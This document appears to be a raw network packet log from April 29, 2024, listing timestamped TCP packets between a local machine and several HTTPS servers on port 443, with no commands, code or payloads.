Apr 29, 2024 02:01:21.690341949 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:21.690355062 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:21.692008972 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:21.692064047 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:21.695347071 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:21.695449114 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:21.765137911 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:21.765168905 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:21.963602066 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.218708038 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.264132023 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.395149946 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.395258904 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.395314932 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.395337105 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.398936033 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.398963928 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.399023056 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.399033070 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.399070978 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.402195930 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.402268887 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.402333021 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.492312908 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.492382050 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.492530107 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.495310068 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.495330095 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.496630907 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.496658087 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.497386932 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.497423887 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.497553110 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.497740984 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.497754097 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.730017900 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.730415106 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.730428934 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.730787992 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.732024908 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.732192039 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.732228994 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.732458115 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.732983112 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.733004093 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.733885050 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.735284090 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.735383034 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.735449076 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.739046097 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.739088058 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.739147902 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.739345074 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.739351988 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.740148067 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.740183115 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.740734100 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.741355896 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.741374969 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.776117086 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.780114889 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.828511953 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.864686966 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.974165916 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.974436998 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.974466085 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.974925995 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.975811005 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.975936890 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.976049900 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.981690884 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.981952906 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.981969118 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.983819008 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.984263897 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:22.984389067 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:22.984410048 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.013134003 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.013174057 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.013199091 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.013241053 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.013271093 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.013345957 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.020747900 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.023263931 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.023348093 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.023617983 CEST	49735	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.023639917 CEST	443	49735	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.028115988 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.056421041 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.077687979 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.077785015 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.077886105 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.078107119 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.078147888 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.135279894 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.137101889 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.137159109 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.137228012 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.138144970 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.138165951 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.310591936 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.310646057 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.310655117 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.310740948 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.310863972 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.311281919 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.311865091 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.311911106 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.312870979 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.312933922 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.315171003 CEST	49734	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.315196991 CEST	443	49734	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.320265055 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.320360899 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.323935986 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.323987961 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.324191093 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.324472904 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.324502945 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.325022936 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.325037003 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.366529942 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.366780043 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.366831064 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.367966890 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.368026972 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.370140076 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.370213032 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.436496019 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.436525106 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.467143059 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.477756023 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.477844000 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.477884054 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.477900028 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.477948904 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.481602907 CEST	49736	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.481625080 CEST	443	49736	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.486011028 CEST	49743	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.486063957 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.486166954 CEST	49743	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.486427069 CEST	49743	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.486433983 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.565366030 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.567075968 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.567130089 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.567152023 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.567173958 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.567210913 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.571806908 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.571844101 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.572344065 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.573362112 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.573502064 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.574105978 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.576586008 CEST	49737	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.576611042 CEST	443	49737	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.583623886 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.583653927 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.583884954 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.584733009 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.584744930 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.600471973 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600531101 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600568056 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600598097 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600624084 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600624084 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.600686073 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600718021 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.600733042 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600760937 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600759983 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.600776911 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600807905 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.600822926 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600857019 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600888014 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600898027 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.600917101 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.600946903 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612250090 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612283945 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612309933 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612334967 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612341881 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612360954 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612396955 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612405062 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612416029 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612417936 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612452030 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612468004 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612513065 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612515926 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612535000 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612582922 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612608910 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612634897 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612636089 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612648010 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612656116 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612689018 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612711906 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612732887 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612735033 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612747908 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612756968 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612788916 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612811089 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612823963 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612863064 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612871885 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612889051 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612931013 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.612951994 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.612963915 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.613003016 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.613008976 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.613027096 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.613060951 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.613070011 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.613086939 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.613106012 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.613157988 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.613169909 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.620121002 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.643335104 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.658242941 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.710175991 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.710280895 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.711026907 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.711086988 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.711141109 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.711195946 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.711234093 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.711299896 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.723810911 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.723887920 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.723958969 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.724011898 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.724165916 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.724214077 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.724253893 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.724312067 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.725162029 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.725249052 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.725253105 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.725280046 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.725306034 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.725332975 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.726262093 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.726330042 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.726336956 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.726356030 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.726382971 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.726397991 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.727129936 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.727186918 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.727263927 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.727319956 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.728012085 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.728091002 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.728157997 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.728214025 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.736296892 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.740082979 CEST	49743	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.740109921 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.740525961 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.743596077 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:23.743644953 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:23.743733883 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:23.744087934 CEST	49743	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.744193077 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.744321108 CEST	49743	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.744647980 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:23.744657993 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:23.788129091 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.803016901 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.803066015 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.803101063 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.803261995 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.803292990 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.803323984 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.803334951 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.803385973 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:23.819777966 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.819856882 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.819869041 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.819895029 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.819920063 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.819942951 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.820635080 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.820713043 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.820717096 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.820740938 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.820765972 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.820785999 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.821288109 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.821356058 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.821360111 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.821384907 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.821413994 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.821425915 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.821832895 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:23.822160006 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.822223902 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.822987080 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.823050022 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.823076010 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.823131084 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.823159933 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.823209047 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.824095011 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.824172020 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.824186087 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.824238062 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.833818913 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.833888054 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.833935976 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.833988905 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.834084034 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.834139109 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.835026026 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.835089922 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.835144997 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.835196018 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.835879087 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.835935116 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.836114883 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:23.836170912 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:23.837060928 CEST	443	49740	104.21.35.193	192.168.2.4
